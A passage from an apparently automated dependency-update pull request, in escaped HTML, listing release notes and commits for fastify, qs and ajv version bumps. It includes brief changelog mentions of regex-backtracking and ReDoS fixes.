Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(readme): add \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e to plugin team by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6565\"\u003efastify/fastify#6565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdated Plugins-Guide.md; Changed \u0026quot;fastify\u0026quot; to \u0026quot;instance\u0026quot; during plugin registration to showcase that it's added as a child by \u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: use fastify.test in test case by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6568\"\u003efastify/fastify#6568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: use fastify.example in documentation by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6567\"\u003efastify/fastify#6567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add common performance degradation guidance by \u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(server): fix camelCase anchor links in TOC by \u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(link-checker): fix root-relative links resolution by \u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update syntax markdown, absolute paths and links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6569\"\u003efastify/fastify#6569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: clarify content-type parser/schema mismatch is outside threat model by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6537\"\u003efastify/fastify#6537\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix incorrect code examples in Reply and Request reference by \u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: replace redirected npm.im http-errors link by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6588\"\u003efastify/fastify#6588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etypes: Allow port to be null in request type definition by \u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6593\"\u003efastify/fastify#6593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(lock-threads): use shared lock-threads workflow by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6592\"\u003efastify/fastify#6592\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\"\u003ehttps://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.8.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(ecosystem): add \u003ccode\u003e@​yeliex/fastify-problem-details\u003c/code\u003e by \u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRevert \u0026quot;chore: upgrade borp to v1.0.0\u0026quot; by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6564\"\u003efastify/fastify#6564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: document body validation with custom content type parsers by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6556\"\u003efastify/fastify#6556\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(ecosystem): add fastify-file-router by \u003ca href=\"https://github.com/bhouston\"\u003e\u003ccode\u003e@​bhouston\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6441\"\u003efastify/fastify#6441\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add fastify-svelte-view to Ecosystem list by \u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: anchor keyValuePairsReg to prevent quadratic backtracking by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6558\"\u003efastify/fastify#6558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: added note on handling of invalid URLs in setNotFoundHandler by \u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(guides): update codemod links by \u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add \u003ccode\u003e@​glidemq/fastify\u003c/code\u003e to community plugins by \u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a3e77ce171516e95f0c28ce60b9e5228a4c42fe4\"\u003e\u003ccode\u003ea3e77ce\u003c/code\u003e\u003c/a\u003e Bumped v5.8.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/4e1db5bd0012ccf63a49ff105a63e25981b9a747\"\u003e\u003ccode\u003e4e1db5b\u003c/code\u003e\u003c/a\u003e fix: gate host and protocol getters on proxy trust function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a22217f9420f70017a419d8e18b2a3141ab27989\"\u003e\u003ccode\u003ea22217f\u003c/code\u003e\u003c/a\u003e ci(lock-threads): use shared lock-threads workflow (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6592\"\u003e#6592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/1851f208e72be06ca419f2000dea63e540ff1ab0\"\u003e\u003ccode\u003e1851f20\u003c/code\u003e\u003c/a\u003e docs: update links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6593\"\u003e#6593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/9cc5187be2dc7c38fd68d0d43541f16ed6d1e1ad\"\u003e\u003ccode\u003e9cc5187\u003c/code\u003e\u003c/a\u003e types: Allow port to be null in request type definition (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6589\"\u003e#6589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/722d83b0632387b853b218ae3a7da40cc46e2677\"\u003e\u003ccode\u003e722d83b\u003c/code\u003e\u003c/a\u003e docs: replace redirected npm.im http-errors link (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6588\"\u003e#6588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a1413de2033b2b00dc1d3563d4f00a7e15ceab2d\"\u003e\u003ccode\u003ea1413de\u003c/code\u003e\u003c/a\u003e docs: fix incorrect code examples in Reply and Request reference (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6582\"\u003e#6582\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d7f01b600811172d7f7023bccc5e96583159202b\"\u003e\u003ccode\u003ed7f01b6\u003c/code\u003e\u003c/a\u003e docs: clarify content-type parser/schema mismatch is outside threat model (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6\"\u003e#6\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a0649e92e93c1ad8b164020f61be5d5fa287d506\"\u003e\u003ccode\u003ea0649e9\u003c/code\u003e\u003c/a\u003e docs: update syntax markdown, absolute paths and links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6569\"\u003e#6569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d4779155286ea1d31c24dba1e90d7d478909382b\"\u003e\u003ccode\u003ed477915\u003c/code\u003e\u003c/a\u003e ci(link-checker): fix root-relative links resolution (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6535\"\u003e#6535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify/compare/v4.23.2...v5.8.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `qs` from 6.11.0 to 6.14.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ljharb/qs/blob/main/CHANGELOG.md\"\u003eqs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003cstrong\u003e6.14.2\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: mark overflow objects for indexed notation exceeding \u003ccode\u003earrayLimit\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/546\"\u003e#546\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003earrayLimit\u003c/code\u003e means max count, not max index, in \u003ccode\u003ecombine\u003c/code\u003e/\u003ccode\u003emerge\u003c/code\u003e/\u003ccode\u003eparseArrayValue\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: throw on \u003ccode\u003earrayLimit\u003c/code\u003e exceeded with indexed notation when \u003ccode\u003ethrowOnLimitExceeded\u003c/code\u003e is true (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/529\"\u003e#529\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: enforce \u003ccode\u003earrayLimit\u003c/code\u003e on \u003ccode\u003ecomma\u003c/code\u003e-parsed values\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: fix error message to reflect arrayLimit as max index; remove extraneous comments (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/545\"\u003e#545\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Robustness] avoid \u003ccode\u003e.push\u003c/code\u003e, use \u003ccode\u003evoid\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[readme] document that \u003ccode\u003eaddQueryPrefix\u003c/code\u003e does not add \u003ccode\u003e?\u003c/code\u003e to empty output (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/418\"\u003e#418\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] clarify \u003ccode\u003eparseArrays\u003c/code\u003e and \u003ccode\u003earrayLimit\u003c/code\u003e documentation (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/543\"\u003e#543\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] replace runkit CI badge with shields.io check-runs badge\u003c/li\u003e\n\u003cli\u003e[meta] fix changelog typo (\u003ccode\u003earrayLength\u003c/code\u003e → \u003ccode\u003earrayLimit\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e[actions] fix rebase workflow permissions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.14.1\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] ensure \u003ccode\u003earrayLimit\u003c/code\u003e applies to \u003ccode\u003e[]\u003c/code\u003e notation as well\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: when a custom decoder returns \u003ccode\u003enull\u003c/code\u003e for a key, ignore that key\u003c/li\u003e\n\u003cli\u003e[Refactor] \u003ccode\u003eparse\u003c/code\u003e: extract key segment splitting helper\u003c/li\u003e\n\u003cli\u003e[meta] add threat model\u003c/li\u003e\n\u003cli\u003e[actions] add workflow permissions\u003c/li\u003e\n\u003cli\u003e[Tests] \u003ccode\u003estringify\u003c/code\u003e: increase coverage\u003c/li\u003e\n\u003cli\u003e[Dev Deps] update \u003ccode\u003eeslint\u003c/code\u003e, \u003ccode\u003e@ljharb/eslint-config\u003c/code\u003e, \u003ccode\u003enpmignore\u003c/code\u003e, \u003ccode\u003ees-value-fixtures\u003c/code\u003e, \u003ccode\u003efor-each\u003c/code\u003e, \u003ccode\u003eobject-inspect\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.14.0\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[New] \u003ccode\u003eparse\u003c/code\u003e: add \u003ccode\u003ethrowOnParameterLimitExceeded\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/517\"\u003e#517\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Refactor] \u003ccode\u003eparse\u003c/code\u003e: use \u003ccode\u003eutils.combine\u003c/code\u003e more\u003c/li\u003e\n\u003cli\u003e[patch] \u003ccode\u003eparse\u003c/code\u003e: add explicit \u003ccode\u003ethrowOnLimitExceeded\u003c/code\u003e default\u003c/li\u003e\n\u003cli\u003e[actions] use shared action; re-add finishers\u003c/li\u003e\n\u003cli\u003e[meta] Fix changelog formatting bug\u003c/li\u003e\n\u003cli\u003e[Deps] update \u003ccode\u003eside-channel\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Dev Deps] update \u003ccode\u003ees-value-fixtures\u003c/code\u003e, \u003ccode\u003ehas-bigints\u003c/code\u003e, \u003ccode\u003ehas-proto\u003c/code\u003e, \u003ccode\u003ehas-symbols\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Tests] increase coverage\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.13.3\u003c/strong\u003e\u003c/h2\u003e\n\u003cp\u003e[Fix] fix regressions from robustness refactor\n[actions] update reusable workflows\u003c/p\u003e\n\u003ch2\u003e\u003cstrong\u003e6.13.2\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Robustness] avoid \u003ccode\u003e.push\u003c/code\u003e, use \u003ccode\u003evoid\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[readme] clarify \u003ccode\u003eparseArrays\u003c/code\u003e and \u003ccode\u003earrayLimit\u003c/code\u003e documentation (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/543\"\u003e#543\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] document that \u003ccode\u003eaddQueryPrefix\u003c/code\u003e does not add \u003ccode\u003e?\u003c/code\u003e to empty output (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/418\"\u003e#418\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] replace runkit CI badge with shields.io check-runs badge\u003c/li\u003e\n\u003cli\u003e[actions] fix rebase workflow permissions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.13.1\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] \u003ccode\u003estringify\u003c/code\u003e: avoid a crash when a \u003ccode\u003efilter\u003c/code\u003e key is \u003ccode\u003enull\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eutils.merge\u003c/code\u003e: functions should not be stringified into keys\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: avoid a crash with interpretNumericEntities: true, comma: true, and iso charset\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003estringify\u003c/code\u003e: ensure a non-string \u003ccode\u003efilter\u003c/code\u003e does not crash\u003c/li\u003e\n\u003cli\u003e[Refactor] use \u003ccode\u003e__proto__\u003c/code\u003e syntax instead of \u003ccode\u003eObject.create\u003c/code\u003e for null objects\u003c/li\u003e\n\u003cli\u003e[Refactor] misc cleanup\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/bdcf0c7f82387c18ac8fabfccd2f440645cef47b\"\u003e\u003ccode\u003ebdcf0c7\u003c/code\u003e\u003c/a\u003e v6.14.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/294db90c812ddbe7d7a35d5687c505fd21a2d6a2\"\u003e\u003ccode\u003e294db90\u003c/code\u003e\u003c/a\u003e [readme] document that \u003ccode\u003eaddQueryPrefix\u003c/code\u003e does not add \u003ccode\u003e?\u003c/code\u003e to empty output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/5c308e5516c270a78caa6f278465914090f91ec6\"\u003e\u003ccode\u003e5c308e5\u003c/code\u003e\u003c/a\u003e [readme] clarify \u003ccode\u003eparseArrays\u003c/code\u003e and \u003ccode\u003earrayLimit\u003c/code\u003e documentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/6addf8cf738d529c54d91f6f3ffb6c1be91bbfdc\"\u003e\u003ccode\u003e6addf8c\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: mark overflow objects for indexed notation exceeding \u003ccode\u003earrayLimit\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/cfc108f662326d6ab540f3545ef0b832baf83cdf\"\u003e\u003ccode\u003ecfc108f\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003earrayLimit\u003c/code\u003e means max count, not max index, in \u003ccode\u003ecombine\u003c/code\u003e/\u003ccode\u003emerge\u003c/code\u003e/`pars...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/febb64442a80e49200211fa38d3c96b58024ac77\"\u003e\u003ccode\u003efebb644\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: throw on \u003ccode\u003earrayLimit\u003c/code\u003e exceeded with indexed notation when `thr...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482\"\u003e\u003ccode\u003ef6a7abf\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: enforce \u003ccode\u003earrayLimit\u003c/code\u003e on \u003ccode\u003ecomma\u003c/code\u003e-parsed values\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/fbc5206c25b4d1851cea683f02c10756c521d15a\"\u003e\u003ccode\u003efbc5206\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: fix error message to reflect arrayLimit as max index; remove e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/1b9a8b4e78c6aff4c22fa559107227f02fd0216a\"\u003e\u003ccode\u003e1b9a8b4\u003c/code\u003e\u003c/a\u003e [actions] fix rebase workflow permissions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/2a35775614e0fb46ac8a3060201a32a7c23a7fda\"\u003e\u003ccode\u003e2a35775\u003c/code\u003e\u003c/a\u003e [meta] fix changelog typo (\u003ccode\u003earrayLength\u003c/code\u003e → \u003ccode\u003earrayLimit\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ljharb/qs/compare/v6.11.0...v6.14.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ajv` from 8.12.0 to 8.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ajv-validator/ajv/releases\"\u003eajv's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.18.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: allow tree-shaking by adding \u003ccode\u003e\u0026quot;sideEffects\u0026quot;: false\u003c/code\u003e to \u003ccode\u003epackage.json\u003c/code\u003e by \u003ca href=\"https://github.com/josdejong\"\u003e\u003ccode\u003e@​josdejong\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2480\"\u003eajv-validator/ajv#2480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2482\"\u003e#2482\u003c/a\u003e Infinity and NaN serialise to null by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2487\"\u003eajv-validator/ajv#2487\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: small grammatical error in managing-schemas.md by \u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2508\"\u003eajv-validator/ajv#2508\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: typos in schema-language.md by \u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2507\"\u003eajv-validator/ajv#2507\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(pattern): use configured RegExp engine with $data keyword to mitigate ReDoS attacks (CVE-2025-69873) by \u003ca href=\"https://github.com/epoberezkin\"\u003e\u003ccode\u003e@​epoberezkin\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2586\"\u003eajv-validator/ajv#2586\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca 